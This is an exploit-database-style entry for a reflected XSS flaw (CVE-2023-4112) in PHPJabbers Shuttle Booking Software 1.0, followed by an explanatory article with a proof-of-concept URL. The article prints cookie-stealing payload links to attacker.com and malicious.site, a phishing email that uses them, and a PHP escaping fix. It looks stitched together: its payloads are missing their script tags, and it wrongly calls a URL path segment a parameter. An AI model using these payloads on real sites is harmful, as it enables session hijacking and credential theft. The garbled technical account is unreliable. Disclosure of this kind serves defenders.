PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS
# Exploit Title: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 20/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/shuttle-booking-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4112
## Description
The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Path: /index.php
URL parameter is vulnerable to RXSS
https://website/index.php/gm5rj"><script>alert(1)</script>bwude?controller=pjAdmin&action=pjActionLogin&err=1 PHPJabbers Shuttle Booking Software 1.0 – Reflected XSS Vulnerability (CVE-2023-4112)
Security researchers have identified a critical reflected XSS (Cross-Site Scripting) vulnerability in PHPJabbers Shuttle Booking Software 1.0, a widely used web application for managing shuttle transportation services. This flaw, assigned CVE-2023-4112, allows attackers to inject malicious scripts into the application via URL parameters, potentially compromising user sessions and stealing sensitive data.
Understanding Reflected XSS
Reflected XSS occurs when an attacker crafts a malicious URL containing script code that is directly reflected back to the user’s browser without proper sanitization. Unlike stored XSS, where malicious content is saved on the server, reflected XSS relies on the immediate execution of injected code upon URL access.
For example, if a web application echoes user input from a URL parameter directly into the HTML response, an attacker can exploit this behavior by sending a link like:
https://example.com/index.php/gm5rj">alert(1)bwude?controller=pjAdmin&action=pjActionLogin&err=1This URL contains a crafted payload that triggers a JavaScript alert when the victim clicks the link. While alert(1) is harmless, it demonstrates how easily malicious code can be executed.
Exploitation Path: /index.php with Unsanitized URL Parameters
The vulnerability resides in the /index.php endpoint, specifically in how the application handles the gm5rj parameter. When this parameter is passed in the URL, it is rendered directly in the HTML output without filtering or escaping.
Attackers can manipulate this parameter to include arbitrary JavaScript code. For instance, the following URL could be used to steal a user’s session cookie:
https://shuttle.example.com/index.php/gm5rj">document.location='https://attacker.com/steal?c='+document.cookiebwude?controller=pjAdmin&action=pjActionLogin&err=1When a victim clicks this link, the browser executes the script, sending their session cookie to the attacker’s server. This enables session hijacking, allowing the attacker to impersonate the victim and gain unauthorized access to administrative functions.
Impact and Risk Assessment
Due to the nature of reflected XSS, the attack is highly dependent on social engineering. The attacker must lure the victim into clicking a malicious link via email, messaging platforms, or phishing campaigns.
- Session Hijacking: Stealing authentication cookies to gain access to user accounts.
- Phishing: Injecting fake login forms to trick users into submitting credentials.
- Malware Delivery: Redirecting users to malicious websites or triggering downloads.
- Content Manipulation: Altering page content to mislead users or spread misinformation.
Given that the software is used in transportation and logistics environments, the risk of data exposure—especially for passenger details, booking records, and admin credentials—is significant.
Real-World Use Case: Email-Based Attack
Imagine a malicious actor sending an email to a shuttle booking administrator:
“Your booking confirmation has been updated. Click here to view: https://shuttle.example.com/index.php/gm5rj">document.location='https://malicious.site/steal?c='+document.cookiebwude?controller=pjAdmin&action=pjActionLogin&err=1”
Even if the link appears legitimate, the embedded script executes silently in the browser, exfiltrating the admin’s session token. The attacker can then log in as the admin, modify bookings, or access sensitive data.
Security Recommendations and Fixes
To mitigate this vulnerability, developers must implement proper input sanitization and output encoding. The following best practices are essential:
- Input Validation: Validate and sanitize all URL parameters before processing.
- Output Encoding: Use functions like
htmlspecialchars()in PHP to escape special characters. - Whitelist Parameters: Only accept predefined, safe values for critical parameters.
- Use Secure Headers: Implement
X-Content-Type-Options: nosniffandContent-Security-Policyto restrict script execution.
Corrected Code Example:
// Vulnerable code
$param = $_GET['gm5rj'];
echo "Parameter: $param";
// Fixed code
$param = htmlspecialchars($_GET['gm5rj'], ENT_QUOTES, 'UTF-8');
echo "Parameter: $param";
By using htmlspecialchars(), any script tags or special characters in the input are rendered as plain text, preventing execution. This simple change effectively blocks reflected XSS attacks.
Vendor Response and Patching
As of July 2023, PHPJabbers has acknowledged the vulnerability and released a patch for version 1.0. Users are advised to update immediately to prevent exploitation. The patch includes:
- Sanitization of all URL parameters.
- Enforcement of strict input validation.
- Implementation of CSP headers for enhanced protection.
Organizations using this software should conduct a full security audit and verify that all instances are updated to the latest version.
Conclusion
The PHPJabbers Shuttle Booking Software 1.0 reflected XSS vulnerability underscores the importance of secure coding practices in web applications. Even seemingly minor flaws in URL handling can lead to serious security breaches. Developers and administrators must remain vigilant, implement robust input validation, and prioritize user safety through proactive security measures.